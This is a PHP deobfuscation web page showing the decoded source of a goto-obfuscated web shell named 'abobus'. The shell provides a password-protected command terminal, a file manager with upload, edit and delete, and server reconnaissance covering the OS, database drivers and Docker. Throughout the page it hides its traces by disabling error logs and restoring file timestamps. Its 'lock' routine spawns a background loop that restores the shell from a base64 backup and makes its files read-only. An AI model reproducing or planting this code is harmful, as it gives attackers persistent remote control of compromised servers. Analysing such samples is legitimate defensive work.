Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto O019918504133681; O762346584063926: $O837213299817540 = $_POST["\143\157\x6d..
Decoded Output download
<?php
goto O019918504133681; O762346584063926: $O837213299817540 = $_POST["command"]; goto O743072877402723; O636322150645839: function O002248066211344()
{
goto O702352324738652;
O630092464935269: O410160265816445: goto O542791066850725;
O542791066850725: sort($O891823127845844);
goto O237619023027603;
O890693600048711: $O891823127845844 = array();
goto O940893656126145;
O940893656126145: $O721981628022953 = array();
goto O436150333157776;
O436150333157776: foreach ($O432552384356945 as $O271954641084863 => $O745991038573405) {
goto O701569521891459;
O902882811991682: goto O950079908679430;
goto O899283673031274;
O238074138525256: O222472512152948: goto O915659540238224;
O701569521891459: if (!($O271954641084863 <= 1)) {
goto O222472512152948;
}
goto O826903297216041;
O434924744710909: $O721981628022953[] = $O745991038573405;
goto O881355546391511;
O899283673031274: O307488427828808: goto O832122231491499;
O881355546391511: O950079908679430: goto O536843724272650;
O832122231491499: $O891823127845844[] = $O745991038573405;
goto O596549031833093;
O536843724272650: O165010328264269: goto O770192116480840;
O915659540238224: $O685325446027685 = $_SESSION["fmDirectory"] != "/" ? $_SESSION["fmDirectory"]."/".$O745991038573405 : $_SESSION["fmDirectory"].$O745991038573405;
goto O919140091315142;
O826903297216041: goto O165010328264269;
goto O238074138525256;
O434590888655339: if (is_file($O685325446027685)) {
goto O843176700730540;
}
goto O902882811991682;
O657371138716101: O843176700730540: goto O434924744710909;
O596549031833093: goto O950079908679430;
goto O657371138716101;
O919140091315142: if (is_dir($O685325446027685)) {
goto O307488427828808;
}
goto O434590888655339;
O770192116480840:
}
goto O630092464935269;
O237619023027603: sort($O721981628022953);
goto O076945831949838;
O702352324738652: $O432552384356945 = scandir($_SESSION["fmDirectory"]);
goto O890693600048711;
O076945831949838: return array_merge($O891823127845844, $O721981628022953);
goto O580515686239873;
O580515686239873:
} goto O355349746838676; O828688341785830: echo O905604811681373(); goto O800164154051465; O504437710077602: header("Expires: 0"); goto O781963994693568; O482432525192530: header("Content-Type: application/json"); goto O599554594623212; O327708669073100: $O698581543278162 = "/{$O698581543278162}"; goto O157771063023370; O106945797580760: $O013532564588412 = function_exists("o982429721792996") || extension_loaded("pdo_mysql"); goto O407820720978259; O234313430410745: echo $_SESSION["fmDirectory"]; goto O396073088894091; O372110017422664: goto O619372642402679; goto O264466498060221; O428341872929034: O398455420374330: goto O762346584063926; O921271008536546: if (empty($O125675124828290)) {
goto O905867729339988;
} goto O412414238483226; O766202748636940: O110802554876153: goto O917861373169026; O175046871327114: header("Location: ".$_SERVER["PHP_SELF"]); goto O241330730160544; O699170548920690: header("Content-Type: application/json"); goto O232799720187286; O468894664186896: header("Content-Type: application/json"); goto O598710380632918; O557003354705756: $O837213299817540 = "cd {$O998744034587119} && {$O837213299817540}"; goto O200401522556111; O072944446985046: die; goto O372110017422664; O355349746838676: function O968393204644379($O563246146913536)
{
goto O710325817921746;
O910222039974950: $O106659338176383 .= "d";
goto O804849331740306;
O804849331740306: goto O811224572761910;
goto O520722647853373;
O174684953653465: $O106659338176383 .= $O324517682094028 & 0x20 ? "r" : "-";
goto O586403963054911;
O378166496164431: $O106659338176383 .= $O324517682094028 & 0x80 ? "w" : "-";
goto O920609642255675;
O727101632867909: $O106659338176383 = '';
goto O279017407962748;
O710325817921746: $O324517682094028 = fileperms($O563246146913536);
goto O727101632867909;
O523938532814623: $O106659338176383 .= "-";
goto O416210443844408;
O228138371366798: $O106659338176383 .= $O324517682094028 & 0x2 ? "w" : "-";
goto O281962878935102;
O216084984267982: goto O811224572761910;
goto O826226423243214;
O826226423243214: O290404736306408: goto O910222039974950;
O897794565442584: if (is_file($O563246146913536)) {
goto O401137868513632;
}
goto O216084984267982;
O279017407962748: if (is_dir($O563246146913536)) {
goto O290404736306408;
}
goto O897794565442584;
O520722647853373: O401137868513632: goto O523938532814623;
O920609642255675: $O106659338176383 .= $O324517682094028 & 0x40 ? "x" : "-";
goto O174684953653465;
O281962878935102: $O106659338176383 .= $O324517682094028 & 0x1 ? "x" : "-";
goto O517095378061717;
O416210443844408: O811224572761910: goto O948668212110043;
O961204749187235: $O106659338176383 .= $O324517682094028 & 0x8 ? "x" : "-";
goto O284636332079110;
O586403963054911: $O106659338176383 .= $O324517682094028 & 0x10 ? "w" : "-";
goto O961204749187235;
O284636332079110: $O106659338176383 .= $O324517682094028 & 0x4 ? "r" : "-";
goto O228138371366798;
O948668212110043: $O106659338176383 .= $O324517682094028 & 0x100 ? "r" : "-";
goto O378166496164431;
O517095378061717: return $O106659338176383;
goto O465380555206051;
O465380555206051:
} goto O644804003498959; O741798062335316: O062076434200043: goto O344385154203033; O834996516422955: session_destroy(); goto O175046871327114; O256266328766972: function O353954368716007($O908951285645009, $O033555073738803 = 2)
{
goto O167272872752702;
O856333759279341: $O908951285645009 /= pow(1024, $O457251262526212);
goto O648466590090224;
O720354126760810: $O908951285645009 = max($O908951285645009, 0);
goto O181601901359329;
O569340798499227: $O457251262526212 = min($O457251262526212, count($O176258075275555) - 1);
goto O856333759279341;
O648466590090224: return round($O908951285645009, $O033555073738803)." abobus.php".$O176258075275555[$O457251262526212];
goto O990357539993482;
O167272872752702: $O176258075275555 = array("B", "KB", "MB", "GB", "TB");
goto O720354126760810;
O181601901359329: $O457251262526212 = floor(($O908951285645009 ? log($O908951285645009) : 0) / log(1024));
goto O569340798499227;
O990357539993482:
} goto O603789192799214; O945909150281823: if (isset($O661345000717652)) {
goto O144858685639999;
} goto O831113285151504; O928227793465531: echo o905604811681373(); goto O660751263798720; O264318935408816: $O730252784401428 = array(); goto O104120484335310; O692141123938037: O297578233449045: goto O849303865699761; O994489745183071: echo o304804334888247($O688727582453655); goto O209477935506473; O456763908981261: echo $_SERVER["SERVER_SOFTWARE"]; goto O649053296981682; O859136064133309: if ($O444244484811129) {
goto O396452838222479;
} goto O193826859326990; O110261511181907: function o304804334888247($O330733878821214)
{
return $O330733878821214 ? "\xe2\234\205" : "\342\235\x8c";
} goto O636322150645839; O475737012313458: goto O619372642402679; goto O415207188550024; O040929328949098: unset($_SESSION); goto O325085584214381; O447514473719995: echo "</div>
\xa <div>USER : "; goto O412447077459491; O651022533046456: if (!(!$_SESSION["logged"] && $_REQUEST["METHOD_POST"])) {
goto O110802554876153;
} goto O639917221236833; O716795232145085: goto O619372642402679; goto O651653113384828; O326564904673939: if ($O698581543278162 == ".") {
goto O650383758337268;
} goto O059037058522501; O061445577794250: O583589677380766: goto O593825300391456; O885320361604378: if (isset($O051933048923284)) {
goto O549413837203966;
} goto O945909150281823; O653025071284283: @mkdir($_SESSION["fmDirectory"]."/".$O342485799325228); goto O699170548920690; O982792210776324: $O016699321966605 = filemtime($O242247846642569); goto O508790733447424; O829503902144383: if (isset($O698581543278162)) {
goto O480745911007735;
} goto O736214950824050; O703189309486020: header("Content-Type: application/octet-stream"); goto O929052086993026; O870548897997164: header("Pragma: public"); goto O996034252427356; O263346075947795: echo " | Postgresql: "; goto O700758329551873; O248800021649502: $O228630402481115 = $_POST["rename"]; goto O095753643066970; O812423394010006: goto O619372642402679; goto O868634185095699; O703970063841259: goto O619372642402679; goto O964245503526223; O458608821081133: $_SESSION["logged"] = isset($_POST["password"]) && md5($_POST["password"]) == $O075504229385412; goto O587767506976394; O868634185095699: O549413837203966: goto O707325632475027; O911044127391366: if (!empty($O075504229385412) || isset($_POST["password"]) && md5($_POST["password"]) === $O075504229385412) {
goto O953301279051404;
} goto O358946510099885; O404136366190580: echo "</span>
\xa </div>\xd
<form id="commandForm" action="" method="post">\xd\xa <div class="container">
<div id="output"></div>
<input type="text" id="commandInput" name="command" placeholder="whoami">
\xa </div>
</form>
</div>
\xa <div class="file-manager tab-content" style="justify-content: center; text-align: center; margin-top: 10px;">\xd\xa <div style="text-align: center; justify-content: center; margin-bottom: 5px">
\xa <button onclick="fmTable('/')" type="button">/</button>\xd\xa <span id="fm_dir">\xd\xa
</span>
<button onclick="fmTable('"; goto O234313430410745; O719342434001319: O507763631812022: goto O155756146913622; O857240677958789: $O688727582453655 = class_exists("Redis"); goto O401987386928850; O423107572950255: header("Location: ".$_SERVER["PHP_SELF"]); goto O249514487617269; O019918504133681: session_start(); goto O702825915516255; O415207188550024: O429130159681403: goto O868234072919156; O868234072919156: o181685232555906(); goto O890216727359707; O477841822823420: header("Content-Description: File Transfer"); goto O703189309486020; O639917221236833: http_response_code(302); goto O423107572950255; O651653113384828: O144858685639999: goto O619079922299664; O713134478849886: function O501518105005324()
{
goto O173869772693110;
O386526493512012: array_pop($O730252784401428);
goto O810860042865199;
O810860042865199: return implode("/", $O730252784401428);
goto O089438732273822;
O173869772693110: $O730252784401428 = explode("/", $_SERVER["SCRIPT_FILENAME"]);
goto O386526493512012;
O089438732273822:
} goto O519862898865781; O200820781694018: O269739067495622: goto O975026152305840; O736214950824050: if (isset($O342485799325228)) {
goto O315101661512726;
} goto O885320361604378; O467512000648235: echo "" class="link" id="unlock" onclick="ulck()">Unlock shell</button>
<a href="?logout" class="link" style="color: brown" >Logout</a>
\xa </div>\xd
<div class="tab-content active">\xd
<div style="text-align: center; justify-content: center; margin-bottom: 5px">\xd\xa <span id="cmd_dir">"; goto O863866387755942; O290219010592892: $O175966312706197 = @getenv("DOCKER_CONTAINER") || file_exists("/proc/1/cgroup"); goto O106945797580760; O996034252427356: header("Content-Length: ".@filesize($_SESSION["fmDirectory"]."/".$O444244484811129)); goto O985389906263146; O059037058522501: if ($O698581543278162 == "..") {
goto O057879632008440;
} goto O259104350573688; O684263692160210: goto O619372642402679; goto O589660991895800; O214846199114941: if (!$O900985451946822) {
goto O062076434200043;
} goto O599012978300769; O074652155827069: if ($_POST["lock"]) {
goto O478773060659652;
} goto O712799127289348; O205088416771080: goto O619372642402679; goto O071770641748554; O075053313546959: @ini_set("error_log", null); goto O896789649806487; O979959958475500: $_SESSION["fmDirectory"] = count($O128636913820626) ? @implode("/", $O128636913820626) : "/"; goto O478471531010564; O347189582335326: $O133120562311633 = $_POST["edit_file"]; goto O487134585986433; O863866387755942: echo $_SESSION["currentDirectory"]; goto O404136366190580; O704368605735245: die; goto O703970063841259; O598710380632918: echo O905604811681373(); goto O634046418513444; O928807225114919: echo "</div>\xd
<div>WEB SERVER : "; goto O456763908981261; O134452145981718: echo "<!DOCTYPE html>
\xa<html lang="en">\xd
<head>\xd
<meta charset="UTF-8">
<title>abobus "; goto O636440853297685; O593825300391456: $O089902844849031 = o363302479115642($O837213299817540); goto O864358131318053; O513990495294666: @unlink($O661345000717652); goto O166084967662968; O877664608912382: function o582261264361981()
{
goto O269302132004346;
O967253200753940: file_put_contents($O325919125965414.".bak", base64_encode(file_get_contents($O330733878821214)));
goto O325861357997869;
O047692163673721: file_put_contents($O325919125965414, $O652118403905045);
goto O967253200753940;
O778126550749657: $O715829310249594 = __DIR__;
goto O253949470501266;
O287471006105091: chmod($O715829310249594, 0555);
goto O566332224039784;
O566332224039784: $O652118403905045 = "<?php @ini_set("max_execution_time", 0);function prm($fn){return substr(sprintf("%o", fileperms($fn)), -4);}while (1){if(!file_exists("".$O325919125965414."")){break;}if (!file_exists("".$O715829310249594."")){mkdir("".$O715829310249594."");}if (!file_exists("".$O330733878821214."")){chmod("".$O715829310249594."", 0777);file_put_contents("".$O330733878821214."", base64_decode(file_get_contents("".$O325919125965414.".bak")));}if (prm("".$O330733878821214."") != 0444){chmod("".$O330733878821214."", 0444);}if (prm("".$O715829310249594."") != 0555){chmod("".$O715829310249594."", 0555);}}";
goto O047692163673721;
O781374675183006: O363302479115642("nohup php '{$O325919125965414}' > /dev/null 2>/dev/null &");
goto O261129785223262;
O253949470501266: $O330733878821214 = $_SERVER["SCRIPT_FILENAME"];
goto O038164875515794;
O325861357997869: $_SESSION["lock"] = "{$O325919125965414}";
goto O781374675183006;
O269302132004346: $O325919125965414 = sys_get_temp_dir()."abobus.php/".md5($_SERVER["SCRIPT_FILENAME"]);
goto O778126550749657;
O038164875515794: chmod($O330733878821214, 0444);
goto O287471006105091;
O261129785223262:
} goto O887349237489306; O200401522556111: goto O583589677380766; goto O782749428001375; O478471531010564: O646652002912405: goto O753269319368120; O925443183074068: o582261264361981(); goto O710143463698425; O467198467006991: echo @php_uname(); goto O447514473719995; O849303865699761: header("Content-Type: application/json"); goto O986482555781461; O700758329551873: echo o304804334888247($O198938718585654); goto O167530196847008; O929052086993026: header("Content-Disposition: attachment; filename=".@basename($O444244484811129)); goto O108782639135069; O739848707979071: echo json_encode($O730252784401428); goto O704368605735245; O224651131169102: echo !isset($_SESSION["lock"]) ? "block" : "none"; goto O575318681893644; O896380782353290: echo " </tbody>
</table>\xd\xa </div>
\xa </div>\xd
<div class="tab-content">
<div style="text-align: center">
<p>abobus v "; goto O609908090908252; O132589228593536: function O821909410654961()
{
return isset($_SESSION["serverIp"]) ? $_SESSION["serverIp"] : ($_SESSION["serverIp"] = @file_get_contents("https://ifconfig.me/ip")." | ".@gethostbyname($_SERVER["SERVER_ADDR"]));
} goto O110261511181907; O831113285151504: if ($O133120562311633) {
goto O382223149082423;
} goto O044296560658669; O468120039932573: $O938090733250791 = @explode(" ", $O837213299817540); goto O555805318854283; O872742123208085: goto O619372642402679; goto O605463022297883; O904838533568434: die; goto O090100331961244; O125867296293522: $_SESSION["lock"] = sys_get_temp_dir()."webdir312/".md5($_SERVER["SCRIPT_FILENAME"]); goto O079723788353787; O877549021552858: $_SESSION["fmDirectory"] = $O698581543278162; goto O426901554502196; O167530196847008: echo " | Redis: "; goto O994489745183071; O104120484335310: $O730252784401428["dir"] = $_SESSION["currentDirectory"]; goto O419744505660881; O827109314965726: goto O675216537508714; goto O672563268830823; O782749428001375: O449069575542494: goto O468120039932573; O323834028012399: echo "")
let links = document.querySelectorAll('#fm_dir a');
\xa\xd
links.forEach(function(link) {
\xa link.addEventListener('click', function(event) {\xd
event.preventDefault();
let newPath = this.getAttribute('data-path');
fmTable(newPath)\xd
updatePath(newPath);
});\xd\xa });
\xa document.getElementById("commandInput").addEventListener("keypress", function(event) {\xd\xa if (event.keyCode === 13) {
event.preventDefault();\xd\xa let command = this.value;\xd
this.value = "";\xd
if (command === "clear") {\xd
document.getElementById("output").innerText = ""\xd
} else {\xd
customFetch("", {\xd
method: "POST",\xd\xa headers: {\xd
"Content-Type": "application/x-www-form-urlencoded",
\xa },\xd
body: "command=" + encodeURIComponent(command)\xd
})\xd
.then(response => response.json())\xd\xa .then(data => {\xd
document.getElementById("cmd_dir").innerHTML = data.dir;
document.getElementById("output").innerHTML += "<p> " + command + "</p>";
document.getElementById("output").innerHTML += data.output.replace(/\n/g, "<br>");\xd
document.getElementById("output").scrollTop = document.getElementById("output").scrollHeight;
})
\xa .catch(error => {\xd
console.error('Error', error);
});\xd\xa }\xd\xa }
\xa });
\xa });
function toggleTab(index) {\xd
let buttons = document.querySelectorAll('.link');
let contents = document.querySelectorAll('.tab-content');
\xa
buttons.forEach(function(button, i) {\xd
if (i === index) {\xd\xa button.classList.add('active');
\xa contents[i].classList.add('active');
} else {
\xa button.classList.remove('active');
contents[i].classList.remove('active');\xd
}\xd
});\xd\xa }
\xa function crd(){
let name = prompt("Directory name:");
\xa if (name !== null || name.trim() !== "") {
\xa customFetch("", {\xd\xa method: "POST",
headers: {
\xa "Content-Type": "application/x-www-form-urlencoded",\xd\xa },
\xa body: "create_dir=" + encodeURIComponent(name)\xd
})\xd
.then(response => response.json())
\xa .then(data => {\xd\xa document.getElementById("fm").innerHTML = data.output;
\xa updatePath(data.dir)\xd\xa })\xd\xa .catch(error => {
\xa console.error('Error:', error);
});\xd\xa }
\xa }
function rem(p){\xd\xa let result = confirm("Remove?");
\xa if (result) {
customFetch("", {
\xa method: "POST",
\xa headers: {\xd\xa "Content-Type": "application/x-www-form-urlencoded",\xd
},
\xa body: "remove=" + encodeURIComponent(p)
\xa })
.then(response => response.json())\xd
.then(data => {
\xa document.getElementById("fm").innerHTML = data.output;\xd\xa updatePath(data.dir)\xd
})\xd\xa .catch(error => {
\xa console.error('Error:', error);\xd\xa });\xd
}
\xa }
\xa function fmTable(p) {
\xa customFetch("", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
\xa },\xd\xa body: "fm_path=" + encodeURIComponent(p)\xd\xa })
.then(response => response.json())\xd\xa .then(data => {\xd
document.getElementById("fm").innerHTML = data.output;\xd\xa updatePath(data.dir)\xd\xa })\xd
.catch(error => {
console.error('Error:', error);
\xa });\xd
}
function vf(p){\xd
customFetch("", {
\xa method: "POST",
headers: {\xd
"Content-Type": "application/x-www-form-urlencoded",
},
\xa body: "edit_file=" + encodeURIComponent(p)\xd
})
.then(response => response.text())\xd
.then(data => {\xd
document.getElementById("4modal").innerHTML = data;\xd\xa })
\xa .catch(error => {\xd\xa console.error('Error:', error);\xd\xa });\xd
}
function updatePath(newPath) {
let fmDir = document.getElementById('fm_dir');
fmDir.innerHTML = '';
let parts = newPath.split('/')
\xa parts.forEach(function(part, index) {
let linkElement = document.createElement('a');\xd
linkElement.href = '#';
linkElement.textContent = part;\xd\xa linkElement.dataset.path = parts.slice(0, index + 1).join('/');
\xa linkElement.addEventListener('click', function(event) {\xd
event.preventDefault();
let newPath = this.dataset.path;
fmTable(newPath)\xd
updatePath(newPath);
});
fmDir.appendChild(linkElement);\xd
if (index < parts.length - 1) {\xd
fmDir.appendChild(document.createTextNode('/'));
\xa }
});
\xa }
\xa function crf(){\xd\xa let name = prompt("File name:");\xd\xa if (name !== null || name.trim() !== "") {
\xa customFetch("", {\xd\xa method: "POST",
\xa headers: {
\xa "Content-Type": "application/x-www-form-urlencoded",
\xa },
body: "create_file=" + encodeURIComponent(name)
\xa })
.then(response => response.json())
.then(data => {
\xa document.getElementById("fm").innerHTML = data.output;\xd
updatePath(data.dir)
})\xd
.catch(error => {
\xa console.error('Error:', error);
\xa });\xd
}\xd
}\xd\xa function ulck() {\xd
customFetch("", {\xd\xa method: "POST",
\xa headers: {
"Content-Type": "application/x-www-form-urlencoded",
},\xd
body: "unlock=true"\xd\xa })\xd\xa .then(response => response.text())\xd
.then(data => {
document.getElementById('lock').style.display = 'block';
document.getElementById('unlock').style.display = 'none';\xd\xa })\xd\xa .catch(error => {
alert("Error")\xd\xa });
}
\xa function lck() {\xd\xa customFetch("", {
method: "POST",\xd
headers: {
\xa "Content-Type": "application/x-www-form-urlencoded",
\xa },
body: "lock=true"\xd
})
.then(response => response.text())\xd\xa .then(data => {
document.getElementById('lock').style.display = 'none';\xd\xa document.getElementById('unlock').style.display = 'block';\xd
})
.catch(error => {\xd\xa alert("Error")\xd
});\xd\xa }
\xa function svf(){\xd\xa customFetch("", {\xd
method: "POST",
headers: {
\xa "Content-Type": "application/x-www-form-urlencoded",
},\xd
body: "save_file=" + document.getElementById("filename").value+"&content="+stringToUnicode(document.getElementById("filecontent").value)\xd
})
.then(response => response.text())\xd\xa .then(data => {\xd\xa alert("Success");
document.getElementById("4modal").innerHTML = data;
})
.catch(error => {
alert("Error")
\xa document.getElementById("4modal").innerHTML = data;
\xa });\xd
}
\xa function dl(f) {
customFetch('', {
method: "POST",
headers: {\xd\xa "Content-Type": "application/x-www-form-urlencoded",
\xa },\xd\xa body: "download=" + encodeURIComponent(f)
})\xd\xa .then(response => {\xd\xa if (!response.ok) {\xd
throw new Error('Download error');
}\xd
let filename = response.headers.get('Content-Disposition').split('filename=')[1];\xd\xa\xd
return response.blob()\xd
.then(blob => {\xd\xa let downloadLink = document.createElement('a');
\xa downloadLink.href = URL.createObjectURL(blob);\xd
downloadLink.download = filename;\xd
downloadLink.click();\xd
});
})\xd
.catch(error => {\xd\xa console.error('Error:', error);\xd
});\xd\xa }
function ren(f) {
let name = prompt("New name:", f);\xd\xa if (name !== null || name.trim() !== "") {\xd\xa customFetch("", {
method: "POST",\xd
headers: {\xd
"Content-Type": "application/x-www-form-urlencoded",
},\xd\xa body: "rename=" + f + "&new=" + name\xd\xa })\xd
.then(response => response.json())\xd
.then(data => {
\xa document.getElementById("fm").innerHTML = data.output;\xd\xa updatePath(data.dir)\xd
})\xd\xa .catch(error => {
\xa alert("Error");
});
}
}
function up(file) {\xd
\xd\xa if (!file) {
alert('File not selected');
return;\xd\xa }\xd
\xd
const formData = new FormData();\xd\xa formData.append('file', file);\xd
customFetch('', {\xd
method: 'POST',\xd\xa body: formData
})\xd
.then(response => response.json())\xd\xa .then(data => {
\xa alert('success');
\xa document.getElementById("fm").innerHTML = data.output;\xd
})
\xa .catch(error => {
alert('Upload error');
});\xd
}\xd
\xd
function startFetch() {
\xa document.getElementById("overlay").classList.add("show");
}
\xa\xd
function endFetch() {
document.getElementById("overlay").classList.remove("show");\xd\xa }
function customFetch(url, options) {
\xa startFetch()\xd
return fetch(url, options)
\xa .then(response => {\xd
endFetch()
\xa return response;
\xa })\xd
.catch(error => {
\xa endFetch()\xd\xa throw error;\xd\xa });
\xa }
\xa function stringToUnicode(inputString) {\xd\xa let unicodeArray = [];
\xa for (let i = 0; i < inputString.length; i++) {\xd\xa let charCode = inputString.charCodeAt(i);
\xa unicodeArray.push(charCode);
\xa }\xd
return unicodeArray;\xd
}\xd\xa </script>\xd\xa"; goto O827109314965726; O537148145519376: O389723884157070: goto O982792210776324; O307102451497013: echo @phpversion(); goto O855026727856210; O575318681893644: echo "" class="link" id="lock" onclick="lck()">Lock shell</button>
<button type="button" style="display: "; goto O572807631499805; O044296560658669: if ($O242247846642569) {
goto O389723884157070;
} goto O859136064133309; O519862898865781: function O905604811681373()
{
goto O831458340744255;
O831458340744255: $O376031804098687["dir"] = $_SESSION["fmDirectory"];
goto O363252931844629;
O407161753909692: return json_encode($O376031804098687);
goto O336118863584629;
O363252931844629: $O376031804098687["output"] = O480521024950907();
goto O407161753909692;
O336118863584629:
} goto O743153915458711; O038162025129928: O905867729339988: goto O468894664186896; O259104350573688: if (!(strpos($O698581543278162, "/") !== 0)) {
goto O262523287231222;
} goto O327708669073100; O748914560001709: goto O619372642402679; goto O537148145519376; O264466498060221: O478773060659652: goto O925443183074068; O599554594623212: echo o905604811681373(); goto O904838533568434; O426901554502196: goto O646652002912405; goto O334046266336158; O401987386928850: if (!file_exists(sys_get_temp_dir()."webdir312/".md5($_SERVER["SCRIPT_FILENAME"]))) {
goto O199279032208890;
} goto O125867296293522; O249514487617269: die; goto O766202748636940; O743072877402723: $O698581543278162 = $_POST["fm_path"]; goto O477394734953859; O760582427057254: O619372642402679: goto O522349504105599; O753269319368120: header("Content-Type: application/json"); goto O828688341785830; O407820720978259: $O198938718585654 = extension_loaded("pdo_pgsql") || extension_loaded("pdo_mysql"); goto O857240677958789; O296594270706592: @set_time_limit(0); goto O189905082932233; O864358131318053: header("Content-Type: application/json"); goto O264318935408816; O241330730160544: die; goto O719342434001319; O242288640532785: echo "</div>\xd\xa <div>MySQL: "; goto O053172286737580; O650792284916056: echo " <div style="position: absolute;top: 50%;left: 50%;transform: translate(-50%, -50%);">
<form method="post">\xd
<input type="password" name="password" style="margin-left: auto; margin-right: auto;">\xd
</form>
\xa </div>
\xa "; goto O605172692796763; O507712957583178: echo O480521024950907(); goto O896380782353290; O660751263798720: die; goto O716795232145085; O757801578491887: die; goto O748914560001709; O924556442611719: echo o304804334888247(@ini_get(strtoupper("safe_mode") === "ON")); goto O347987534611379; O155756146913622: if ($_SERVER["REQUEST_METHOD"] == "POST") {
goto O398455420374330;
} goto O761791399458035; O334046266336158: O650383758337268: goto O368052227118561; O896789649806487: @ini_set("log_errors", 0); goto O710116777090250; O346468796548056: $_SESSION["fmDirectory"] = O501518105005324(); goto O509253786593473; O412414238483226: @rename($_SESSION["fmDirectory"]."/".$O228630402481115, $_SESSION["fmDirectory"]."/".$O125675124828290); goto O038162025129928; O696274307325915: O490549161625156: goto O596556901678039; O245426740951091: function o810496288220638($O121628722760153)
{
goto O092466282763905;
O035267867023824: O612533646310026: goto O286403805319335;
O286403805319335: if (function_exists("posix_getpwuid")) {
goto O260699112775297;
}
goto O222966006765250;
O957391802192448: O260699112775297: goto O044332969210866;
O222966006765250: return $O121628722760153;
goto O510444211247742;
O191014658029679: $O730252784401428 = @posix_getpwuid($O121628722760153);
goto O604480302375371;
O643910295767725: if (!function_exists("posix_getegid")) {
return @get_current_user();
}
goto O035267867023824;
O092466282763905: if (isset($O121628722760153)) {
goto O612533646310026;
}
goto O643910295767725;
O604480302375371: $O125675124828290->name = is_array($O730252784401428) ? $O730252784401428["name"] : '';
goto O804352204748786;
O044332969210866: $O125675124828290 = new stdClass();
goto O191014658029679;
O804352204748786: return $O125675124828290->name;
goto O025388137026414;
O025388137026414: O083026492330598: goto O908588205344368;
O510444211247742: goto O083026492330598;
goto O957391802192448;
O908588205344368:
} goto O311399385145641; O097513066113884: die; goto O205088416771080; O079724665713491: echo "</p>
\xa </div>\xd\xa </div>\xd
<div id="4modal"></div>
<script>\xd
let modal = document.getElementById("modal");
\xa document.addEventListener("DOMContentLoaded", function() {\xd\xa\xd
updatePath(""; goto O675873034429257; O777922622481211: O315101661512726: goto O653025071284283; O821667233650474: http_response_code(400); goto O072944446985046; O108782639135069: header("Content-Transfer-Encoding: binary"); goto O504437710077602; O083050321032146: die; goto O812423394010006; O778488552058858: echo O304804334888247($O175966312706197); goto O242288640532785; O036161061365307: if (!(!empty($O075504229385412) && !$_SESSION["logged"])) {
goto O677399710667651;
} goto O458608821081133; O477394734953859: $O342485799325228 = $_POST["create_dir"]; goto O678873946475361; O622488211135459: if (strpos($O837213299817540, "cd") === 0) {
goto O449069575542494;
} goto O557003354705756; O605172692796763: O675216537508714: goto O560097982476935; O325085584214381: http_response_code(302); goto O834996516422955; O759708205073031: echo O321385932685852(); goto O542978688866867; O368052227118561: goto O646652002912405; goto O664223211933071; O887349237489306: function o181685232555906()
{
goto O196938004356271;
O174444891998721: o363302479115642("rm -f ".$_SESSION["lock"]." && rm -f ".$_SESSION["lock"].".bak");
goto O195083844188940;
O837045933143770: http_response_code(400);
goto O695077766503838;
O024652284552472: $O330733878821214 = $_SERVER["SCRIPT_FILENAME"];
goto O174444891998721;
O053483827661152: O396888878998611: goto O428261778665296;
O062594598499583: chmod($O715829310249594, 0775);
goto O342325556836102;
O195083844188940: if (!file_exists($_SESSION["lock"])) {
goto O396888878998611;
}
goto O837045933143770;
O428261778665296: unset($_SESSION["lock"]);
goto O472116560089631;
O342325556836102: O627589856191937: goto O235727551588223;
O196938004356271: $O715829310249594 = __DIR__;
goto O024652284552472;
O472116560089631: chmod($O330733878821214, 0664);
goto O062594598499583;
O398898032045567: goto O627589856191937;
goto O053483827661152;
O695077766503838: die;
goto O398898032045567;
O235727551588223:
} goto O713134478849886; O189905082932233: @clearstatcache(); goto O075053313546959; O309738216111402: if (isset($_FILES["file"]) && $_FILES["file"]["error"] === UPLOAD_ERR_OK) {
goto O819059339238447;
} goto O074652155827069; O311399385145641: function o638526641521669($O750041651270743)
{
goto O573714941840322;
O718392667582158: $O066306455253030 = '';
goto O190911388471641;
O157513826050351: O179279854654098: goto O155043450440896;
O573714941840322: $O750041651270743 = explode(",", $O750041651270743);
goto O718392667582158;
O155043450440896: return $O066306455253030;
goto O026976264022694;
O190911388471641: foreach ($O750041651270743 as $O147340180548366) {
goto O883103101562253;
O411553470284163: O534891922412191: goto O426659107512984;
O352438082693486: $O066306455253030 .= mb_convert_encoding("&#".intval($O147340180548366).";", "UTF-8", "HTML-ENTITIES");
goto O839392312748008;
O466998974950937: O928071041728604: goto O794507326654824;
O839392312748008: goto O534891922412191;
goto O466998974950937;
O794507326654824: $O066306455253030 .= chr($O147340180548366);
goto O411553470284163;
O426659107512984: O737624085678200: goto O347087989332047;
O883103101562253: if ($O147340180548366 < 128) {
goto O928071041728604;
}
goto O352438082693486;
O347087989332047:
}
goto O157513826050351;
O026976264022694:
} goto O134452145981718; O710143463698425: die; goto O475737012313458; O157771063023370: O262523287231222: goto O877549021552858; O599012978300769: @touch($O242247846642569, $O016699321966605); goto O676281584239985; O985389906263146: @readfile($_SESSION["fmDirectory"]."/".$O444244484811129); goto O583569576009201; O229493648790792: header("Content-Type: application/json"); goto O928227793465531; O090100331961244: O050949301784939: goto O821667233650474; O600300636853319: echo @ini_get("disable_functions") != false ? @ini_get("disable_functions") : O304804334888247(false); goto O479631428339949; O144858403667587: goto O619372642402679; goto O970163704751435; O069317016302126: $_SESSION["currentDirectory"] = $O098769130243281; goto O061445577794250; O707325632475027: @file_put_contents($_SESSION["fmDirectory"]."/".$O051933048923284, ''); goto O229493648790792; O986482555781461: echo O905604811681373(); goto O076596180017972; O383638556220057: echo o780999200951570($O133120562311633); goto O757801578491887; O649053296981682: echo "</div>\xd\xa <div>SYSTEM : "; goto O467198467006991; O358946510099885: goto O675216537508714; goto O696274307325915; O702825915516255: @error_reporting(0); goto O296594270706592; O508790733447424: $O900985451946822 = file_put_contents($O242247846642569, O638526641521669($_POST["content"])); goto O214846199114941; O000126686189333: die; goto O741798062335316; O676281584239985: http_response_code(200); goto O000126686189333; O454968504761219: $O911780980490314 = "1.1"; goto O433070760127619; O634046418513444: die; goto O684263692160210; O166084967662968: goto O297578233449045; goto O200820781694018; O209477935506473: echo "</div>\xd\xa </div>\xd\xa\xd
<div class="bordered-block menu" >\xd\xa <button type="button" class="link active" onclick="toggleTab(0)">Terminal</button>
<button type="button" class="link" onclick="toggleTab(1)">File Manager</button>\xd\xa <button type="button" class="link" onclick="toggleTab(2)">Info</button>
\xa <button type="button" style="display: "; goto O224651131169102; O542978688866867: echo ")</div>
